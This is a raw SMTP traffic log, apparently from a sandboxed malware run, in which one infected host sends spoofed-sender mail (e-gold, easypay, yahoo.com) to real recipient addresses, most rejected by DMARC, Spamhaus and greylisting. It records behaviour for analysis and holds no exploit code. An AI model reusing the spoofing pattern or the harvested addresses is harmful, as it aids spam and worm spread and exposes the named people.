Oct 31, 2022 12:19:59.784058094 CET	25	49835	209.51.188.92	192.168.2.5	250 eggs.gnu.org Hello eggs.gnu.org [102.129.143.15]
Oct 31, 2022 12:19:59.784097910 CET	25	49836	209.51.188.92	192.168.2.5	250 eggs.gnu.org Hello eggs.gnu.org [102.129.143.15]
Oct 31, 2022 12:19:59.812606096 CET	25	49834	104.47.59.138	192.168.2.5	250 2.1.0 Sender OK
Oct 31, 2022 12:19:59.832257986 CET	25	49833	173.194.202.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. j10-20020a170902da8a00b001781c1abee9si9760979plx.587 - gsmtp
Oct 31, 2022 12:20:00.176686049 CET	49835	25	192.168.2.5	209.51.188.92	MAIL FROM: <admin@bigtits.com>
Oct 31, 2022 12:20:00.176975965 CET	49836	25	192.168.2.5	209.51.188.92	MAIL FROM: <admin@bigtits.com>
Oct 31, 2022 12:20:00.177254915 CET	49834	25	192.168.2.5	104.47.59.138	RCPT TO: <madler@alumni.caltech.edu>
Oct 31, 2022 12:20:00.312931061 CET	25	49834	104.47.59.138	192.168.2.5	550 5.7.1 Service unavailable, Client host [102.129.143.15] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.15 AS(1440) [DM6NAM12FT059.eop-nam12.prod.protection.outlook.com]
Oct 31, 2022 12:20:00.321291924 CET	25	49835	209.51.188.92	192.168.2.5	250 OK
Oct 31, 2022 12:20:00.321314096 CET	25	49836	209.51.188.92	192.168.2.5	250 OK
Oct 31, 2022 12:20:00.346839905 CET	49835	25	192.168.2.5	209.51.188.92	RCPT TO: <freetype@nongnu.org>
Oct 31, 2022 12:20:00.346946001 CET	49836	25	192.168.2.5	209.51.188.92	RCPT TO: <freetype-devel@nongnu.org>
Oct 31, 2022 12:20:00.355652094 CET	25	49838	74.125.140.27	192.168.2.5	220 mx.google.com ESMTP n21-20020a05600c3b9500b003cf4e1a29desi4758665wms.3 - gsmtp
Oct 31, 2022 12:20:00.355871916 CET	49838	25	192.168.2.5	74.125.140.27	HELO gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:00.366244078 CET	25	49840	142.250.147.27	192.168.2.5	220 mx.google.com ESMTP y12-20020a50ce0c000000b00461d9b36740si7069812edi.240 - gsmtp
Oct 31, 2022 12:20:00.366400003 CET	49840	25	192.168.2.5	142.250.147.27	HELO aspmx3.googlemail.com
Oct 31, 2022 12:20:00.392941952 CET	25	49838	74.125.140.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:00.393156052 CET	49838	25	192.168.2.5	74.125.140.27	MAIL FROM: <support@e-gold.com>
Oct 31, 2022 12:20:00.408479929 CET	25	49840	142.250.147.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:00.427092075 CET	25	49838	74.125.140.27	192.168.2.5	250 2.1.0 OK n21-20020a05600c3b9500b003cf4e1a29desi4758665wms.3 - gsmtp
Oct 31, 2022 12:20:00.442298889 CET	49840	25	192.168.2.5	142.250.147.27	MAIL FROM: <robert@yahoo.com>
Oct 31, 2022 12:20:00.442445040 CET	49838	25	192.168.2.5	74.125.140.27	RCPT TO: <joeyadams3.14159@gmail.com>
Oct 31, 2022 12:20:00.481059074 CET	25	49840	142.250.147.27	192.168.2.5	250 2.1.0 OK y12-20020a50ce0c000000b00461d9b36740si7069812edi.240 - gsmtp
Oct 31, 2022 12:20:00.535036087 CET	49840	25	192.168.2.5	142.250.147.27	RCPT TO: <greg@kinoho.net>
Oct 31, 2022 12:20:00.620594978 CET	25	49838	74.125.140.27	192.168.2.5	250 2.1.5 OK n21-20020a05600c3b9500b003cf4e1a29desi4758665wms.3 - gsmtp
Oct 31, 2022 12:20:00.692800045 CET	25	49840	142.250.147.27	192.168.2.5	250 2.1.5 OK y12-20020a50ce0c000000b00461d9b36740si7069812edi.240 - gsmtp
Oct 31, 2022 12:20:00.817800045 CET	25	49836	209.51.188.92	192.168.2.5	451-You seem to be a Windows machine. Our condolences. Come back later. You are 451-greylisted for 20 minutes. See http://www.fsf.org/about/systems/greylisting 451 for more information.
Oct 31, 2022 12:20:00.897063017 CET	25	49835	209.51.188.92	192.168.2.5	451-You seem to be a Windows machine. Our condolences. Come back later. You are 451-greylisted for 20 minutes. See http://www.fsf.org/about/systems/greylisting 451 for more information.
Oct 31, 2022 12:20:00.980786085 CET	49838	25	192.168.2.5	74.125.140.27	DATA
Oct 31, 2022 12:20:00.980797052 CET	49840	25	192.168.2.5	142.250.147.27	DATA
Oct 31, 2022 12:20:01.014796972 CET	25	49838	74.125.140.27	192.168.2.5	354 Go ahead n21-20020a05600c3b9500b003cf4e1a29desi4758665wms.3 - gsmtp
Oct 31, 2022 12:20:01.019828081 CET	25	49840	142.250.147.27	192.168.2.5	354 Go ahead y12-20020a50ce0c000000b00461d9b36740si7069812edi.240 - gsmtp
Oct 31, 2022 12:20:01.125186920 CET	25	49836	209.51.188.92	192.168.2.5	421 eggs.gnu.org lost input connection
Oct 31, 2022 12:20:01.125219107 CET	25	49835	209.51.188.92	192.168.2.5	421 eggs.gnu.org lost input connection
Oct 31, 2022 12:20:01.167998075 CET	25	49840	142.250.147.27	192.168.2.5	550-5.7.26 Unauthenticated email from yahoo.com is not accepted due to domain's 550-5.7.26 DMARC policy. Please contact the administrator of yahoo.com domain 550-5.7.26 if this was a legitimate mail. Please visit 550-5.7.26 https://support.google.com/mail/answer/2451690 to learn about the 550 5.7.26 DMARC initiative. y12-20020a50ce0c000000b00461d9b36740si7069812edi.240 - gsmtp
Oct 31, 2022 12:20:01.244613886 CET	25	49831	142.250.150.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. k20-20020ac24f14000000b004afaa4d01e1si4139396lfr.549 - gsmtp
Oct 31, 2022 12:20:01.282856941 CET	25	49842	142.251.5.27	192.168.2.5	220 mx.google.com ESMTP m3-20020a05600c4f4300b003cf5b8aa7cesi4563141wmq.114 - gsmtp
Oct 31, 2022 12:20:01.283054113 CET	49842	25	192.168.2.5	142.251.5.27	HELO aspmx.l.google.com
Oct 31, 2022 12:20:01.319879055 CET	25	49842	142.251.5.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:01.343132973 CET	49842	25	192.168.2.5	142.251.5.27	MAIL FROM: <robert@yahoo.com>
Oct 31, 2022 12:20:01.376389980 CET	25	49842	142.251.5.27	192.168.2.5	250 2.1.0 OK m3-20020a05600c4f4300b003cf5b8aa7cesi4563141wmq.114 - gsmtp
Oct 31, 2022 12:20:01.376625061 CET	49842	25	192.168.2.5	142.251.5.27	RCPT TO: <greg@kinoho.net>
Oct 31, 2022 12:20:01.413810015 CET	25	49838	74.125.140.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. n21-20020a05600c3b9500b003cf4e1a29desi4758665wms.3 - gsmtp
Oct 31, 2022 12:20:01.417758942 CET	25	49843	74.125.140.26	192.168.2.5	220 mx.google.com ESMTP 184-20020a1c19c1000000b003b49bcd9baasi4553194wmz.176 - gsmtp
Oct 31, 2022 12:20:01.424935102 CET	49843	25	192.168.2.5	74.125.140.26	HELO gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:01.461415052 CET	25	49843	74.125.140.26	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:01.461776018 CET	49843	25	192.168.2.5	74.125.140.26	MAIL FROM: <support@rbkmoney.ru>
Oct 31, 2022 12:20:01.495709896 CET	25	49843	74.125.140.26	192.168.2.5	250 2.1.0 OK 184-20020a1c19c1000000b003b49bcd9baasi4553194wmz.176 - gsmtp
Oct 31, 2022 12:20:01.495867014 CET	49843	25	192.168.2.5	74.125.140.26	RCPT TO: <ran234@gmail.com>
Oct 31, 2022 12:20:01.576863050 CET	25	49842	142.251.5.27	192.168.2.5	250 2.1.5 OK m3-20020a05600c4f4300b003cf5b8aa7cesi4563141wmq.114 - gsmtp
Oct 31, 2022 12:20:01.577367067 CET	49842	25	192.168.2.5	142.251.5.27	DATA
Oct 31, 2022 12:20:01.611044884 CET	25	49842	142.251.5.27	192.168.2.5	354 Go ahead m3-20020a05600c4f4300b003cf5b8aa7cesi4563141wmq.114 - gsmtp
Oct 31, 2022 12:20:01.674858093 CET	25	49843	74.125.140.26	192.168.2.5	250 2.1.5 OK 184-20020a1c19c1000000b003b49bcd9baasi4553194wmz.176 - gsmtp
Oct 31, 2022 12:20:01.675213099 CET	49843	25	192.168.2.5	74.125.140.26	DATA
Oct 31, 2022 12:20:01.709388971 CET	25	49843	74.125.140.26	192.168.2.5	354 Go ahead 184-20020a1c19c1000000b003b49bcd9baasi4553194wmz.176 - gsmtp
Oct 31, 2022 12:20:01.714061022 CET	25	49842	142.251.5.27	192.168.2.5	550-5.7.26 Unauthenticated email from yahoo.com is not accepted due to domain's 550-5.7.26 DMARC policy. Please contact the administrator of yahoo.com domain 550-5.7.26 if this was a legitimate mail. Please visit 550-5.7.26 https://support.google.com/mail/answer/2451690 to learn about the 550 5.7.26 DMARC initiative. m3-20020a05600c4f4300b003cf5b8aa7cesi4563141wmq.114 - gsmtp
Oct 31, 2022 12:20:01.833797932 CET	25	49845	142.250.147.26	192.168.2.5	220 mx.google.com ESMTP tx19-20020a1709078e9300b0078d93325645si6646637ejc.405 - gsmtp
Oct 31, 2022 12:20:01.834162951 CET	49845	25	192.168.2.5	142.250.147.26	HELO alt2.aspmx.l.google.com
Oct 31, 2022 12:20:01.845226049 CET	25	49843	74.125.140.26	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. 184-20020a1c19c1000000b003b49bcd9baasi4553194wmz.176 - gsmtp
Oct 31, 2022 12:20:01.879368067 CET	25	49845	142.250.147.26	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:01.879508972 CET	49845	25	192.168.2.5	142.250.147.26	MAIL FROM: <robert@yahoo.com>
Oct 31, 2022 12:20:01.920300007 CET	25	49845	142.250.147.26	192.168.2.5	250 2.1.0 OK tx19-20020a1709078e9300b0078d93325645si6646637ejc.405 - gsmtp
Oct 31, 2022 12:20:01.920520067 CET	49845	25	192.168.2.5	142.250.147.26	RCPT TO: <greg@kinoho.net>
Oct 31, 2022 12:20:02.081211090 CET	25	49845	142.250.147.26	192.168.2.5	250 2.1.5 OK tx19-20020a1709078e9300b0078d93325645si6646637ejc.405 - gsmtp
Oct 31, 2022 12:20:02.081568003 CET	49845	25	192.168.2.5	142.250.147.26	DATA
Oct 31, 2022 12:20:02.123023033 CET	25	49845	142.250.147.26	192.168.2.5	354 Go ahead tx19-20020a1709078e9300b0078d93325645si6646637ejc.405 - gsmtp
Oct 31, 2022 12:20:02.236989021 CET	25	49845	142.250.147.26	192.168.2.5	550-5.7.26 Unauthenticated email from yahoo.com is not accepted due to domain's 550-5.7.26 DMARC policy. Please contact the administrator of yahoo.com domain 550-5.7.26 if this was a legitimate mail. Please visit 550-5.7.26 https://support.google.com/mail/answer/2451690 to learn about the 550 5.7.26 DMARC initiative. tx19-20020a1709078e9300b0078d93325645si6646637ejc.405 - gsmtp
Oct 31, 2022 12:20:02.323435068 CET	25	49847	142.250.153.27	192.168.2.5	220 mx.google.com ESMTP cr17-20020a170906d55100b0078db8fe2834si8351792ejc.245 - gsmtp
Oct 31, 2022 12:20:02.323920012 CET	49847	25	192.168.2.5	142.250.153.27	HELO aspmx2.googlemail.com
Oct 31, 2022 12:20:02.353966951 CET	25	49847	142.250.153.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:02.355528116 CET	25	49844	74.125.200.26	192.168.2.5	220 mx.google.com ESMTP pf9-20020a17090b1d8900b0020f8385ca87si8194986pjb.94 - gsmtp
Oct 31, 2022 12:20:02.357172012 CET	49844	25	192.168.2.5	74.125.200.26	HELO alt1.gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:02.357279062 CET	49847	25	192.168.2.5	142.250.153.27	MAIL FROM: <robert@yahoo.com>
Oct 31, 2022 12:20:02.385292053 CET	25	49847	142.250.153.27	192.168.2.5	250 2.1.0 OK cr17-20020a170906d55100b0078db8fe2834si8351792ejc.245 - gsmtp
Oct 31, 2022 12:20:02.389544010 CET	49847	25	192.168.2.5	142.250.153.27	RCPT TO: <greg@kinoho.net>
Oct 31, 2022 12:20:02.537285089 CET	25	49847	142.250.153.27	192.168.2.5	250 2.1.5 OK cr17-20020a170906d55100b0078db8fe2834si8351792ejc.245 - gsmtp
Oct 31, 2022 12:20:02.537828922 CET	49847	25	192.168.2.5	142.250.153.27	DATA
Oct 31, 2022 12:20:02.565505981 CET	25	49847	142.250.153.27	192.168.2.5	354 Go ahead cr17-20020a170906d55100b0078db8fe2834si8351792ejc.245 - gsmtp
Oct 31, 2022 12:20:02.654512882 CET	25	49847	142.250.153.27	192.168.2.5	550-5.7.26 Unauthenticated email from yahoo.com is not accepted due to domain's 550-5.7.26 DMARC policy. Please contact the administrator of yahoo.com domain 550-5.7.26 if this was a legitimate mail. Please visit 550-5.7.26 https://support.google.com/mail/answer/2451690 to learn about the 550 5.7.26 DMARC initiative. cr17-20020a170906d55100b0078db8fe2834si8351792ejc.245 - gsmtp
Oct 31, 2022 12:20:02.780904055 CET	25	49846	74.125.200.26	192.168.2.5	220 mx.google.com ESMTP e3-20020a170902ef4300b00186f22a06absi8647169plx.253 - gsmtp
Oct 31, 2022 12:20:02.781254053 CET	49846	25	192.168.2.5	74.125.200.26	HELO alt1.gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:02.891336918 CET	25	49844	74.125.200.26	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:02.891657114 CET	49844	25	192.168.2.5	74.125.200.26	MAIL FROM: <support@e-gold.com>
Oct 31, 2022 12:20:03.317625999 CET	25	49846	74.125.200.26	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:03.326344013 CET	49846	25	192.168.2.5	74.125.200.26	MAIL FROM: <support@rbkmoney.ru>
Oct 31, 2022 12:20:03.421842098 CET	25	49844	74.125.200.26	192.168.2.5	250 2.1.0 OK pf9-20020a17090b1d8900b0020f8385ca87si8194986pjb.94 - gsmtp
Oct 31, 2022 12:20:03.427556038 CET	49844	25	192.168.2.5	74.125.200.26	RCPT TO: <joeyadams3.14159@gmail.com>
Oct 31, 2022 12:20:03.654779911 CET	25	49849	142.250.150.27	192.168.2.5	220 mx.google.com ESMTP c10-20020a2ea78a000000b002773c8366f0si4492304ljf.13 - gsmtp
Oct 31, 2022 12:20:03.655005932 CET	49849	25	192.168.2.5	142.250.150.27	HELO alt3.gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:03.689165115 CET	25	49851	94.100.180.31	192.168.2.5	220 mxs.mail.ru ESMTP ready
Oct 31, 2022 12:20:03.689436913 CET	49851	25	192.168.2.5	94.100.180.31	HELO mxs.mail.ru
Oct 31, 2022 12:20:03.712052107 CET	25	49849	142.250.150.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:03.712224960 CET	49849	25	192.168.2.5	142.250.150.27	MAIL FROM: <admin@easypay.com>
Oct 31, 2022 12:20:03.747781992 CET	25	49851	94.100.180.31	192.168.2.5	250 mxs.mail.ru
Oct 31, 2022 12:20:03.747971058 CET	49851	25	192.168.2.5	94.100.180.31	MAIL FROM: <Andrei@mail.ru>
Oct 31, 2022 12:20:03.766851902 CET	25	49849	142.250.150.27	192.168.2.5	250 2.1.0 OK c10-20020a2ea78a000000b002773c8366f0si4492304ljf.13 - gsmtp
Oct 31, 2022 12:20:03.767082930 CET	49849	25	192.168.2.5	142.250.150.27	RCPT TO: <joeyadams3.14159@gmail.com>
Oct 31, 2022 12:20:03.808120966 CET	25	49851	94.100.180.31	192.168.2.5	250 2.0.0 OK
Oct 31, 2022 12:20:03.808425903 CET	49851	25	192.168.2.5	94.100.180.31	RCPT TO: <lastguru@mail.ru>
Oct 31, 2022 12:20:03.859858990 CET	25	49846	74.125.200.26	192.168.2.5	250 2.1.0 OK e3-20020a170902ef4300b00186f22a06absi8647169plx.253 - gsmtp
Oct 31, 2022 12:20:03.860023022 CET	49846	25	192.168.2.5	74.125.200.26	RCPT TO: <ran234@gmail.com>
Oct 31, 2022 12:20:03.868406057 CET	25	49851	94.100.180.31	192.168.2.5	250 Go ahead
Oct 31, 2022 12:20:03.868792057 CET	49851	25	192.168.2.5	94.100.180.31	DATA
Oct 31, 2022 12:20:03.896111965 CET	25	49850	198.252.153.129	192.168.2.5	220-mx1.riseup.net ESMTP (spam is not appreciated)
Oct 31, 2022 12:20:03.896428108 CET	49850	25	192.168.2.5	198.252.153.129	HELO mx1.riseup.net
Oct 31, 2022 12:20:03.926939011 CET	25	49851	94.100.180.31	192.168.2.5	354 Go ahead. End your data with <CR><LF>.<CR><LF>
Oct 31, 2022 12:20:03.970355988 CET	25	49844	74.125.200.26	192.168.2.5	250 2.1.5 OK pf9-20020a17090b1d8900b0020f8385ca87si8194986pjb.94 - gsmtp
Oct 31, 2022 12:20:03.970541000 CET	49844	25	192.168.2.5	74.125.200.26	DATA
Oct 31, 2022 12:20:03.988248110 CET	25	49849	142.250.150.27	192.168.2.5	250 2.1.5 OK c10-20020a2ea78a000000b002773c8366f0si4492304ljf.13 - gsmtp
Oct 31, 2022 12:20:03.988419056 CET	49849	25	192.168.2.5	142.250.150.27	DATA
Oct 31, 2022 12:20:04.042949915 CET	25	49849	142.250.150.27	192.168.2.5	354 Go ahead c10-20020a2ea78a000000b002773c8366f0si4492304ljf.13 - gsmtp
Oct 31, 2022 12:20:04.068031073 CET	25	49850	198.252.153.129	192.168.2.5	250 mx1.riseup.net
Oct 31, 2022 12:20:04.068264008 CET	49850	25	192.168.2.5	198.252.153.129	MAIL FROM: <claudia@gmail.com>
Oct 31, 2022 12:20:04.240037918 CET	25	49850	198.252.153.129	192.168.2.5	250 2.1.0 Ok
Oct 31, 2022 12:20:04.240257025 CET	49850	25	192.168.2.5	198.252.153.129	RCPT TO: <currojerez@riseup.net>
Oct 31, 2022 12:20:04.320512056 CET	25	49848	74.125.200.27	192.168.2.5	220 mx.google.com ESMTP c7-20020a056a000ac700b00555463cd9e6si9587582pfl.238 - gsmtp
Oct 31, 2022 12:20:04.320815086 CET	49848	25	192.168.2.5	74.125.200.27	HELO alt4.gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:04.410847902 CET	25	49846	74.125.200.26	192.168.2.5	250 2.1.5 OK e3-20020a170902ef4300b00186f22a06absi8647169plx.253 - gsmtp
Oct 31, 2022 12:20:04.411101103 CET	49846	25	192.168.2.5	74.125.200.26	DATA
Oct 31, 2022 12:20:04.411988020 CET	25	49850	198.252.153.129	192.168.2.5	550 5.5.1 Protocol error
Oct 31, 2022 12:20:04.426999092 CET	25	49851	94.100.180.31	192.168.2.5	550 5.7.1 This message was not accepted due to domain (mail.ru) owner DMARC policy (RFC 7489) https://help.mail.ru/mail-help/postmaster/dmarc
Oct 31, 2022 12:20:04.501105070 CET	25	49844	74.125.200.26	192.168.2.5	354 Go ahead pf9-20020a17090b1d8900b0020f8385ca87si8194986pjb.94 - gsmtp
Oct 31, 2022 12:20:04.728918076 CET	25	49849	142.250.150.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. c10-20020a2ea78a000000b002773c8366f0si4492304ljf.13 - gsmtp
Oct 31, 2022 12:20:04.850490093 CET	25	49848	74.125.200.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:04.850754023 CET	49848	25	192.168.2.5	74.125.200.27	MAIL FROM: <support@e-gold.com>
Oct 31, 2022 12:20:04.876849890 CET	25	49813	85.187.148.2	192.168.2.5	220-az1-ss24.a2hosting.com ESMTP Exim 4.95 #2 Mon, 31 Oct 2022 04:20:04 -0700 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Oct 31, 2022 12:20:04.877362013 CET	49813	25	192.168.2.5	85.187.148.2	HELO gzip.org
Oct 31, 2022 12:20:04.944616079 CET	25	49846	74.125.200.26	192.168.2.5	354 Go ahead e3-20020a170902ef4300b00186f22a06absi8647169plx.253 - gsmtp
Oct 31, 2022 12:20:05.032062054 CET	25	49813	85.187.148.2	192.168.2.5	250 az1-ss24.a2hosting.com Hello gzip.org [102.129.143.15]
Oct 31, 2022 12:20:05.039685965 CET	49813	25	192.168.2.5	85.187.148.2	MAIL FROM: <admin@bigtits.com>
Oct 31, 2022 12:20:05.194679022 CET	25	49813	85.187.148.2	192.168.2.5	250 OK
Oct 31, 2022 12:20:05.194984913 CET	49813	25	192.168.2.5	85.187.148.2	RCPT TO: <jloup@gzip.org>
Oct 31, 2022 12:20:05.377525091 CET	25	49848	74.125.200.27	192.168.2.5	250 2.1.0 OK c7-20020a056a000ac700b00555463cd9e6si9587582pfl.238 - gsmtp
Oct 31, 2022 12:20:05.379401922 CET	49848	25	192.168.2.5	74.125.200.27	RCPT TO: <ran234@gmail.com>
Oct 31, 2022 12:20:05.663146019 CET	25	49852	74.125.200.26	192.168.2.5	220 mx.google.com ESMTP p2-20020a170902e74200b0018663949529si4295710plf.162 - gsmtp
Oct 31, 2022 12:20:05.663322926 CET	49852	25	192.168.2.5	74.125.200.26	HELO alt1.gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:05.936023951 CET	25	49848	74.125.200.27	192.168.2.5	250 2.1.5 OK c7-20020a056a000ac700b00555463cd9e6si9587582pfl.238 - gsmtp
Oct 31, 2022 12:20:05.936374903 CET	49848	25	192.168.2.5	74.125.200.27	DATA
Oct 31, 2022 12:20:06.201900005 CET	25	49852	74.125.200.26	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:06.202218056 CET	49852	25	192.168.2.5	74.125.200.26	MAIL FROM: <admin@easypay.com>
Oct 31, 2022 12:20:06.283478975 CET	25	49846	74.125.200.26	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. e3-20020a170902ef4300b00186f22a06absi8647169plx.253 - gsmtp
Oct 31, 2022 12:20:06.375478983 CET	25	49844	74.125.200.26	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. pf9-20020a17090b1d8900b0020f8385ca87si8194986pjb.94 - gsmtp
Oct 31, 2022 12:20:06.463032007 CET	25	49848	74.125.200.27	192.168.2.5	354 Go ahead c7-20020a056a000ac700b00555463cd9e6si9587582pfl.238 - gsmtp
Oct 31, 2022 12:20:06.737420082 CET	25	49852	74.125.200.26	192.168.2.5	250 2.1.0 OK p2-20020a170902e74200b0018663949529si4295710plf.162 - gsmtp
Oct 31, 2022 12:20:06.737797022 CET	49852	25	192.168.2.5	74.125.200.26	RCPT TO: <joeyadams3.14159@gmail.com>
Oct 31, 2022 12:20:07.282753944 CET	25	49852	74.125.200.26	192.168.2.5	250 2.1.5 OK p2-20020a170902e74200b0018663949529si4295710plf.162 - gsmtp
Oct 31, 2022 12:20:07.282946110 CET	49852	25	192.168.2.5	74.125.200.26	DATA
Oct 31, 2022 12:20:07.817801952 CET	25	49852	74.125.200.26	192.168.2.5	354 Go ahead p2-20020a170902e74200b0018663949529si4295710plf.162 - gsmtp
Oct 31, 2022 12:20:08.369493008 CET	25	49848	74.125.200.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. c7-20020a056a000ac700b00555463cd9e6si9587582pfl.238 - gsmtp
Oct 31, 2022 12:20:08.514677048 CET	25	49853	142.250.147.27	192.168.2.5	220 mx.google.com ESMTP cs4-20020a0564020c4400b004585e0f44fesi7339292edb.60 - gsmtp
Oct 31, 2022 12:20:08.519860983 CET	49853	25	192.168.2.5	142.250.147.27	HELO alt2.gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:08.563735962 CET	25	49853	142.250.147.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:08.569725037 CET	49853	25	192.168.2.5	142.250.147.27	MAIL FROM: <support@e-gold.com>
Oct 31, 2022 12:20:08.611150980 CET	25	49853	142.250.147.27	192.168.2.5	250 2.1.0 OK cs4-20020a0564020c4400b004585e0f44fesi7339292edb.60 - gsmtp
Oct 31, 2022 12:20:08.612700939 CET	49853	25	192.168.2.5	142.250.147.27	RCPT TO: <ran234@gmail.com>
Oct 31, 2022 12:20:08.802700996 CET	25	49853	142.250.147.27	192.168.2.5	250 2.1.5 OK cs4-20020a0564020c4400b004585e0f44fesi7339292edb.60 - gsmtp
Oct 31, 2022 12:20:08.802995920 CET	49853	25	192.168.2.5	142.250.147.27	DATA
Oct 31, 2022 12:20:08.844500065 CET	25	49853	142.250.147.27	192.168.2.5	354 Go ahead cs4-20020a0564020c4400b004585e0f44fesi7339292edb.60 - gsmtp
Oct 31, 2022 12:20:09.078347921 CET	25	49853	142.250.147.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. cs4-20020a0564020c4400b004585e0f44fesi7339292edb.60 - gsmtp
Oct 31, 2022 12:20:09.112631083 CET	25	49852	74.125.200.26	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. p2-20020a170902e74200b0018663949529si4295710plf.162 - gsmtp
Oct 31, 2022 12:20:09.217000008 CET	25	49858	142.250.147.27	192.168.2.5	220 mx.google.com ESMTP e7-20020aa7d7c7000000b0045c29d74fd0si6834563eds.291 - gsmtp
Oct 31, 2022 12:20:09.217355967 CET	49858	25	192.168.2.5	142.250.147.27	HELO alt2.gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:09.224606037 CET	25	49857	142.250.150.27	192.168.2.5	220 mx.google.com ESMTP p13-20020a2ea40d000000b0027709a4bcfbsi4048890ljn.346 - gsmtp
Oct 31, 2022 12:20:09.224805117 CET	49857	25	192.168.2.5	142.250.150.27	HELO alt3.gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:09.247994900 CET	25	49855	209.51.188.92	192.168.2.5	220 eggs.gnu.org ESMTP Exim 4.90_1 Trisquel Mon, 31 Oct 2022 07:20:09 -0400
Oct 31, 2022 12:20:09.248248100 CET	49855	25	192.168.2.5	209.51.188.92	HELO eggs.gnu.org
Oct 31, 2022 12:20:09.260658979 CET	25	49858	142.250.147.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:09.260833025 CET	49858	25	192.168.2.5	142.250.147.27	MAIL FROM: <admin@easypay.com>
Oct 31, 2022 12:20:09.281321049 CET	25	49857	142.250.150.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:09.281624079 CET	49857	25	192.168.2.5	142.250.150.27	MAIL FROM: <support@e-gold.com>
Oct 31, 2022 12:20:09.301949978 CET	25	49858	142.250.147.27	192.168.2.5	250 2.1.0 OK e7-20020aa7d7c7000000b0045c29d74fd0si6834563eds.291 - gsmtp
Oct 31, 2022 12:20:09.302144051 CET	49858	25	192.168.2.5	142.250.147.27	RCPT TO: <joeyadams3.14159@gmail.com>
Oct 31, 2022 12:20:09.335809946 CET	25	49857	142.250.150.27	192.168.2.5	250 2.1.0 OK p13-20020a2ea40d000000b0027709a4bcfbsi4048890ljn.346 - gsmtp
Oct 31, 2022 12:20:09.336018085 CET	49857	25	192.168.2.5	142.250.150.27	RCPT TO: <ran234@gmail.com>
Oct 31, 2022 12:20:09.342637062 CET	25	49856	104.47.55.138	192.168.2.5	220 BN8NAM12FT097.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Mon, 31 Oct 2022 11:20:08 +0000
Oct 31, 2022 12:20:09.342850924 CET	49856	25	192.168.2.5	104.47.55.138	HELO alumni-caltech-edu.mail.protection.outlook.com
Oct 31, 2022 12:20:09.393325090 CET	25	49855	209.51.188.92	192.168.2.5	250 eggs.gnu.org Hello eggs.gnu.org [102.129.143.15]
Oct 31, 2022 12:20:09.393846989 CET	49855	25	192.168.2.5	209.51.188.92	MAIL FROM: <andrew@hotmail.com>
Oct 31, 2022 12:20:09.448549986 CET	25	49856	104.47.55.138	192.168.2.5	250 BN8NAM12FT097.mail.protection.outlook.com Hello [102.129.143.15]
Oct 31, 2022 12:20:09.449135065 CET	49856	25	192.168.2.5	104.47.55.138	MAIL FROM: <admin@easypay.com>
Oct 31, 2022 12:20:09.485593081 CET	25	49858	142.250.147.27	192.168.2.5	250 2.1.5 OK e7-20020aa7d7c7000000b0045c29d74fd0si6834563eds.291 - gsmtp
Oct 31, 2022 12:20:09.485883951 CET	49858	25	192.168.2.5	142.250.147.27	DATA
Oct 31, 2022 12:20:09.527020931 CET	25	49858	142.250.147.27	192.168.2.5	354 Go ahead e7-20020aa7d7c7000000b0045c29d74fd0si6834563eds.291 - gsmtp
Oct 31, 2022 12:20:09.537672043 CET	25	49855	209.51.188.92	192.168.2.5	250 OK
Oct 31, 2022 12:20:09.540374994 CET	49855	25	192.168.2.5	209.51.188.92	RCPT TO: <freetype@nongnu.org>
Oct 31, 2022 12:20:09.555149078 CET	25	49856	104.47.55.138	192.168.2.5	250 2.1.0 Sender OK
Oct 31, 2022 12:20:09.555450916 CET	49856	25	192.168.2.5	104.47.55.138	RCPT TO: <madler@alumni.caltech.edu>
Oct 31, 2022 12:20:09.579473019 CET	25	49857	142.250.150.27	192.168.2.5	250 2.1.5 OK p13-20020a2ea40d000000b0027709a4bcfbsi4048890ljn.346 - gsmtp
Oct 31, 2022 12:20:09.579941034 CET	49857	25	192.168.2.5	142.250.150.27	DATA
Oct 31, 2022 12:20:09.634104967 CET	25	49857	142.250.150.27	192.168.2.5	354 Go ahead p13-20020a2ea40d000000b0027709a4bcfbsi4048890ljn.346 - gsmtp
